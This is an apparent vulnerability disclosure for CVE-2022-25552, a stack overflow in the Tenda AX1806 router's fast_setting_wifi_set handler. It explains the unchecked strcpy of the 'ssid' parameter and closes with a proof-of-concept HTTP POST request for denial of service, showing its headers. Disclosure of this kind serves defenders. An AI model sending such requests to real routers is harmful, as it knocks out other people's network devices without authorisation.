CVE-2022-25552: IoT-CVE/Tenda/AX1806/3 at main · sec-bin/IoT-CVE

Affect device: Tenda Router AX1806 v1.0.0.1(https://www.tenda.com.cn/download/detail-3306.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

Vulnerability description

This vulnerability lies in the /goform/fast_setting_wifi_set page which influences the lastest version of Tenda Router AX1806 v1.0.0.1: https://www.tenda.com.cn/download/detail-3306.html

There is a stack overflow vulnerability in the form_fast_setting_wifi_set function.

The v3 variable is obtained directly from the http request parameter ssid.

v5 = v3.

Then this function uses cmsUtl_strcpy to copy the variable v5 to the stack variable v34 without any sercuity check.

Let’s look at the cmsUtl_strcpy function. It only checks the null pointer case, and directly calls the strcpy function without checking the length of the copied string, which causes a stack overflow.

So by POSTing the page /goform/fast_setting_wifi_set with long ssid, the attacker can easily cause a Deny of Service(DoS).

POC

poc to DoS:

POST /goform/fast_setting_wifi_set HTTP/1.1 Host: 192.168.2.1 Connection: close Accept: text/plain, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 X-Requested-With: XMLHttpRequest Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://192.168.2.1/main.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Content-Length: 4374

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